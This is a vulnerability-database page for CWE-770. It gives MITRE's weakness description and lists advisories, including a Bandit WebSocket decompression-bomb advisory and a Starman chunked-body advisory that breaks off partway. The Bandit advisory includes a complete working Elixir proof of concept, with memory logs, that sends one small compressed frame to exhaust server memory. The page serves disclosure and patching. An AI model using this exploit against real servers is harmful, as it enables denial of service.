Common Weakness Enumeration

CWE-770

Weakness Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

Dimensions

  • Behavior-Type: Allocation
  • Behavior-Property: Without Limits or Throttling
  • Resource-Type: Resources
Mapping guidance

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

Relationships and members
ChildOf: CWE-400 · View CWE-1000
ChildOf: CWE-665 · View CWE-1000
ChildOf: CWE-400 · View CWE-1003
Modes of introduction
Architecture and Design

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Implementation
Operation
System Configuration
Detection methods

Manual Static Analysis

Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause.

When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.

Effectiveness: Opportunistic

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame. Manual analysis is likely required to interpret the results.

Automated Static Analysis

Specialized configuration or tuning may be required to train automated tools to recognize this weakness.

Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Notes

Relationship

This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Content history
Submission: CWE Content Team · MITRE · 2009-05-13 · CWE 1.4
Contribution: participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop · 2023-11-14 · CWE 4.14

Contributed or reviewed taxonomy mappings for ISA/IEC 62443

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Relationships

Modification: CWE Content Team · MITRE · 2009-12-28 · CWE 1.7

updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Observed_Examples, References, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Common_Consequences, Demonstrative_Examples, Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2010-06-21 · CWE 1.9

updated Common_Consequences, Potential_Mitigations, References

Modification: CWE Content Team · MITRE · 2010-09-27 · CWE 1.10

updated Demonstrative_Examples, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2011-03-29 · CWE 1.12

updated Demonstrative_Examples, Detection_Factors, Relationships

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2011-06-27 · CWE 2.0

updated Relationships

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2014-02-18 · CWE 2.6

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2014-06-23 · CWE 2.7

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2017-05-03 · CWE 2.11

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, Potential_Mitigations, References, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Demonstrative_Examples, Description, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Potential_Mitigations, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Applicable_Platforms, Description, Maintenance_Notes, Potential_Mitigations, Relationship_Notes, Relationships

Modification: CWE Content Team · MITRE · 2020-12-10 · CWE 4.3

updated Relationships

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples, References

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description, Detection_Factors

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated References, Relationships

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2024-02-29 · CWE 4.14

updated Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Common_Consequences, Description, Diagram, Observed_Examples, Potential_Mitigations, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Relationships, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Demonstrative_Examples, Dimensions

4410 vulnerabilities reference this CWE, most recent first.

GHSA-FRH3-6PV6-RC8J

Vulnerability from github – Published: 2026-05-07 03:36 – Updated: 2026-05-07 03:36
VLAI
Summary
Bandit's unbounded WebSocket inflate causes BEAM OOM with a single frame
Details

Summary

When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (compress: true), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are not vulnerable by default — they ship with compress: false. Affected apps are those that have deliberately opted in to permessage-deflate.

Details

In lib/bandit/websocket/permessage_deflate.ex:111-115, :zlib.inflate/2 is called without an output-size limit, and IO.iodata_to_binary/1 then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.

websocket_options.max_frame_size only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no {:more, ...} resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.

The bug is gated by two server-side flags being true at the same time:

  • Bandit's global websocket_options.compress (defaults to true per bandit.ex:198-201).
  • The per-upgrade connection_opts.compress passed to WebSockAdapter.upgrade/4 (defaults to false per websock_adapter.ex:42-43; Phoenix's default is also false per phoenix/lib/phoenix/transports/websocket.ex:33).

Both must be true for the handshake at bandit/lib/bandit/websocket/handshake.ex:22 to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. socket "/ws", MySocket, websocket: [compress: true] in a Phoenix endpoint, or WebSockAdapter.upgrade(conn, ..., compress: true) in a plain Plug app).

Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via :length.

PoC

A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true), opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with elixir ws_permessage_deflate_bomb.exs.

Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):

  • Frame on the wire: ~6 MiB.
  • BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by IO.iodata_to_binary/1), then settled at ~6 GiB until the connection process was GC'd.
  • Tuning @target_decompressed_bytes upward, or opening N parallel connections, OOM-kills the BEAM outright.

A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented max_frame_size default is 0 (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.

Impact

Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.

Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are not affected — both default to compress: false. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.

# Bandit WebSocket permessage-deflate bomb PoC.
#
# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2
# with no output-size cap. A small (~4 MiB) compressed frame inflates to
# multiple GiB on the BEAM heap before any application code sees it.
#
# Note: in the default setup something upstream caps wire-side frames at
# ~8 MiB even though Bandit's documented max_frame_size default is 0
# (unlimited). The bug is reachable below that cap regardless.
#
# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)
    |> Plug.Conn.halt()
  end
end

defmodule Bomb do
  @port 4321
  # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).
  @target_decompressed_bytes 6 * 1024 * 1024 * 1024
  @plaintext_chunk_bytes 10 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    deflate_payload = build_deflate_bomb()
    frame = compressed_text_frame(deflate_payload)

    sampler_pid = spawn_link(&sample_memory_loop/0)

    log("Sending #{byte_size(frame)}-byte compressed frame…")
    :ok = :gen_tcp.send(sock, frame)
    handle_recv(sock)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
    :gen_tcp.close(sock)
    log("Done.")
  end

  # Open a TCP connection and complete the WebSocket handshake with
  # permessage-deflate. Raises if the server doesn't negotiate it.
  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      Sec-WebSocket-Extensions: permessage-deflate\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}")
    log("Handshake complete.")
    sock
  end

  # Stream-deflate @target_decompressed_bytes worth of zeros so the client
  # never holds the full plaintext at once. RFC 7692 uses raw deflate
  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which
  # we strip per the spec.
  defp build_deflate_bomb do
    chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)
    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)
    log("Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…")

    zstream = :zlib.open()
    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)
    deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end)
    final_flush = :zlib.deflate(zstream, <<>>, :sync)
    :zlib.close(zstream)

    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])
    trailer_size = byte_size(deflated) - 4
    <<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated

    log("Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).")
    payload
  end

  # Wrap payload in a single masked WebSocket text frame with RSV1 set
  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).
  defp compressed_text_frame(payload) do
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>>
  end

  # EchoSocket.handle_in/2 doesn't reply, so recv times out after the
  # observation window. That's enough to watch the BEAM heap spike.
  defp handle_recv(sock) do
    case :gen_tcp.recv(sock, 0, 5_000) do
      {:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->
        log("Close frame: code=#{close_code} reason=#{inspect(close_reason)}")

      {:ok, bytes} ->
        log("Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")

      {:error, :timeout} ->
        log("recv timed out (server held the inflated payload silently).")

      {:error, reason} ->
        log("Connection closed: #{inspect(reason)}")
    end
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(250)
    sample_memory_loop()
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

Bomb.run()

Logs

10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[08:15:24.269] Handshake complete.
[08:15:24.321] Deflating 6144 MiB plaintext…
[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).
[08:15:37.581] Sending 6257689-byte compressed frame…
[08:15:37.582] [mem] BEAM total = 76 MiB
[08:15:37.834] [mem] BEAM total = 759 MiB
[08:15:38.087] [mem] BEAM total = 1480 MiB
[08:15:38.338] [mem] BEAM total = 2214 MiB
[08:15:38.589] [mem] BEAM total = 2724 MiB
[08:15:38.840] [mem] BEAM total = 3410 MiB
[08:15:39.091] [mem] BEAM total = 3877 MiB
[08:15:39.342] [mem] BEAM total = 4268 MiB
[08:15:39.593] [mem] BEAM total = 4815 MiB
[08:15:39.845] [mem] BEAM total = 5270 MiB
[08:15:40.096] [mem] BEAM total = 5766 MiB
[08:15:40.347] [mem] BEAM total = 12451 MiB
[08:15:40.598] [mem] BEAM total = 12452 MiB
[08:15:40.850] [mem] BEAM total = 12452 MiB
[08:15:41.101] [mem] BEAM total = 12452 MiB
[08:15:41.353] [mem] BEAM total = 12452 MiB
[08:15:41.606] [mem] BEAM total = 12451 MiB
[08:15:41.856] [mem] BEAM total = 6229 MiB
[08:15:42.107] [mem] BEAM total = 6229 MiB
[08:15:42.358] [mem] BEAM total = 6229 MiB
[08:15:42.582] recv timed out (server held the inflated payload silently).
[08:15:42.584] Done.
Severity
8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "bandit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.8"
            },
            {
              "fixed": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39804"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:36:13Z",
    "nvd_published_at": "2026-05-01T21:16:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (`compress: true`), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit\u0027s inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are **not** vulnerable by default \u2014 they ship with `compress: false`. Affected apps are those that have deliberately opted in to permessage-deflate.\n\n### Details\n\nIn `lib/bandit/websocket/permessage_deflate.ex:111-115`, `:zlib.inflate/2` is called without an output-size limit, and `IO.iodata_to_binary/1` then materializes the entire decompressed payload as one contiguous binary in the connection process\u0027s heap.\n\n`websocket_options.max_frame_size` only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no `{:more, ...}` resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.\n\nThe bug is gated by two server-side flags being true at the same time:\n\n- Bandit\u0027s global `websocket_options.compress` (defaults to `true` per `bandit.ex:198-201`).\n- The per-upgrade `connection_opts.compress` passed to `WebSockAdapter.upgrade/4` (defaults to `false` per `websock_adapter.ex:42-43`; Phoenix\u0027s default is also `false` per `phoenix/lib/phoenix/transports/websocket.ex:33`).\n\nBoth must be true for the handshake at `bandit/lib/bandit/websocket/handshake.ex:22` to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. `socket \"/ws\", MySocket, websocket: [compress: true]` in a Phoenix endpoint, or `WebSockAdapter.upgrade(conn, ..., compress: true)` in a plain Plug app).\n\n**Suggested fix:** thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via `:length`.\n\n### PoC\n\nA fully self-contained reproducer is attached below. It boots a local Bandit server that performs a `WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true)`, opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with `elixir ws_permessage_deflate_bomb.exs`.\n\nObserved on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):\n\n- Frame on the wire: ~6 MiB.\n- BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by `IO.iodata_to_binary/1`), then settled at ~6 GiB until the connection process was GC\u0027d.\n- Tuning `@target_decompressed_bytes` upward, or opening N parallel connections, OOM-kills the BEAM outright.\n\nA separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit\u0027s documented `max_frame_size` default is `0` (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.\n\n### Impact\n\nUnauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection \u2014 no authentication, no valid route, no application cooperation.\n\nAffected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are **not** affected \u2014 both default to `compress: false`. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.\n\n```elixir\n# Bandit WebSocket permessage-deflate bomb PoC.\n#\n# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2\n# with no output-size cap. A small (~4 MiB) compressed frame inflates to\n# multiple GiB on the BEAM heap before any application code sees it.\n#\n# Note: in the default setup something upstream caps wire-side frames at\n# ~8 MiB even though Bandit\u0027s documented max_frame_size default is 0\n# (unlimited). The bug is reachable below that cap regardless.\n#\n# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"},\n  {:websock_adapter, \"~\u003e 0.5\"}\n])\n\ndefmodule EchoSocket do\n  @behaviour WebSock\n\n  def init(_opts), do: {:ok, %{}}\n  def handle_in(_message, state), do: {:ok, state}\n  def handle_info(_message, state), do: {:ok, state}\n  def terminate(_reason, state), do: {:ok, state}\nend\n\ndefmodule DemoApp do\n  @behaviour Plug\n  def init(opts), do: opts\n  def call(conn, _opts) do\n    conn\n    |\u003e WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)\n    |\u003e Plug.Conn.halt()\n  end\nend\n\ndefmodule Bomb do\n  @port 4321\n  # 6 GiB inflated -\u003e ~6 MiB compressed (well under the ~8 MiB wire cap).\n  @target_decompressed_bytes 6 * 1024 * 1024 * 1024\n  @plaintext_chunk_bytes 10 * 1024 * 1024\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    sock = ws_handshake!()\n    deflate_payload = build_deflate_bomb()\n    frame = compressed_text_frame(deflate_payload)\n\n    sampler_pid = spawn_link(\u0026sample_memory_loop/0)\n\n    log(\"Sending #{byte_size(frame)}-byte compressed frame\u2026\")\n    :ok = :gen_tcp.send(sock, frame)\n    handle_recv(sock)\n\n    Process.unlink(sampler_pid)\n    Process.exit(sampler_pid, :kill)\n    :gen_tcp.close(sock)\n    log(\"Done.\")\n  end\n\n  # Open a TCP connection and complete the WebSocket handshake with\n  # permessage-deflate. Raises if the server doesn\u0027t negotiate it.\n  defp ws_handshake! do\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    ws_key = :crypto.strong_rand_bytes(16) |\u003e Base.encode64()\n\n    :ok =\n      :gen_tcp.send(sock, \"\"\"\n      GET / HTTP/1.1\\r\n      Host: 127.0.0.1\\r\n      Upgrade: websocket\\r\n      Connection: Upgrade\\r\n      Sec-WebSocket-Key: #{ws_key}\\r\n      Sec-WebSocket-Version: 13\\r\n      Sec-WebSocket-Extensions: permessage-deflate\\r\n      \\r\n      \"\"\")\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    if not (response =~ \"permessage-deflate\"), do: raise(\"permessage-deflate not negotiated:\\n#{response}\")\n    log(\"Handshake complete.\")\n    sock\n  end\n\n  # Stream-deflate @target_decompressed_bytes worth of zeros so the client\n  # never holds the full plaintext at once. RFC 7692 uses raw deflate\n  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which\n  # we strip per the spec.\n  defp build_deflate_bomb do\n    chunk = :binary.copy(\u003c\u003c0\u003e\u003e, @plaintext_chunk_bytes)\n    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)\n    log(\"Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext\u2026\")\n\n    zstream = :zlib.open()\n    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)\n    deflated_chunks = Enum.map(1..chunk_count, fn _ -\u003e :zlib.deflate(zstream, chunk, :none) end)\n    final_flush = :zlib.deflate(zstream, \u003c\u003c\u003e\u003e, :sync)\n    :zlib.close(zstream)\n\n    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])\n    trailer_size = byte_size(deflated) - 4\n    \u003c\u003cpayload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF\u003e\u003e = deflated\n\n    log(\"Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).\")\n    payload\n  end\n\n  # Wrap payload in a single masked WebSocket text frame with RSV1 set\n  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).\n  defp compressed_text_frame(payload) do\n    mask = :crypto.strong_rand_bytes(4)\n    payload_size = byte_size(payload)\n    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)\n    masked_payload = :crypto.exor(payload, mask_stream)\n\n    length_bytes =\n      cond do\n        payload_size \u003c= 125 -\u003e \u003c\u003c1::1, payload_size::7\u003e\u003e\n        payload_size \u003c= 0xFFFF -\u003e \u003c\u003c1::1, 126::7, payload_size::16\u003e\u003e\n        true -\u003e \u003c\u003c1::1, 127::7, payload_size::64\u003e\u003e\n      end\n\n    \u003c\u003c1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary\u003e\u003e\n  end\n\n  # EchoSocket.handle_in/2 doesn\u0027t reply, so recv times out after the\n  # observation window. That\u0027s enough to watch the BEAM heap spike.\n  defp handle_recv(sock) do\n    case :gen_tcp.recv(sock, 0, 5_000) do\n      {:ok, \u003c\u003c0x88, _len, close_code::16, close_reason::binary\u003e\u003e} -\u003e\n        log(\"Close frame: code=#{close_code} reason=#{inspect(close_reason)}\")\n\n      {:ok, bytes} -\u003e\n        log(\"Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}\")\n\n      {:error, :timeout} -\u003e\n        log(\"recv timed out (server held the inflated payload silently).\")\n\n      {:error, reason} -\u003e\n        log(\"Connection closed: #{inspect(reason)}\")\n    end\n  end\n\n  defp sample_memory_loop do\n    log(\"[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB\")\n    Process.sleep(250)\n    sample_memory_loop()\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nBomb.run()\n```\n\n#### Logs\n\n```\n10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[08:15:24.269] Handshake complete.\n[08:15:24.321] Deflating 6144 MiB plaintext\u2026\n[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).\n[08:15:37.581] Sending 6257689-byte compressed frame\u2026\n[08:15:37.582] [mem] BEAM total = 76 MiB\n[08:15:37.834] [mem] BEAM total = 759 MiB\n[08:15:38.087] [mem] BEAM total = 1480 MiB\n[08:15:38.338] [mem] BEAM total = 2214 MiB\n[08:15:38.589] [mem] BEAM total = 2724 MiB\n[08:15:38.840] [mem] BEAM total = 3410 MiB\n[08:15:39.091] [mem] BEAM total = 3877 MiB\n[08:15:39.342] [mem] BEAM total = 4268 MiB\n[08:15:39.593] [mem] BEAM total = 4815 MiB\n[08:15:39.845] [mem] BEAM total = 5270 MiB\n[08:15:40.096] [mem] BEAM total = 5766 MiB\n[08:15:40.347] [mem] BEAM total = 12451 MiB\n[08:15:40.598] [mem] BEAM total = 12452 MiB\n[08:15:40.850] [mem] BEAM total = 12452 MiB\n[08:15:41.101] [mem] BEAM total = 12452 MiB\n[08:15:41.353] [mem] BEAM total = 12452 MiB\n[08:15:41.606] [mem] BEAM total = 12451 MiB\n[08:15:41.856] [mem] BEAM total = 6229 MiB\n[08:15:42.107] [mem] BEAM total = 6229 MiB\n[08:15:42.358] [mem] BEAM total = 6229 MiB\n[08:15:42.582] recv timed out (server held the inflated payload silently).\n[08:15:42.584] Done.\n```",
  "id": "GHSA-frh3-6pv6-rc8j",
  "modified": "2026-05-07T03:36:13Z",
  "published": "2026-05-07T03:36:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39804"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/8156921a51e684a951221da7bc30a70a022f722e"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-39804.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mtrudel/bandit"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39804"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bandit\u0027s unbounded WebSocket inflate causes BEAM OOM with a single frame"
}

GHSA-FRRH-CV34-87PX

Vulnerability from github – Published: 2026-10-25 18:31 – Updated: 2026-11-02 18:32
VLAI
Details

Starman versions before 0.4019 for Perl allow memory exhaustion via unbounded buffering of chunked request bodies.

The chunked body decoder keeps each chunk in memory until the whole chunk and its CRLF have arrived, and sets no limit on the length of a chunk-size line. A client that declares a huge chunk size and streams data, or sends a chunk-size line that never ends, grows the buffer for as long as it keeps sending.

A remote attacker can exhaust worker memory with a single connection.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-115824"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
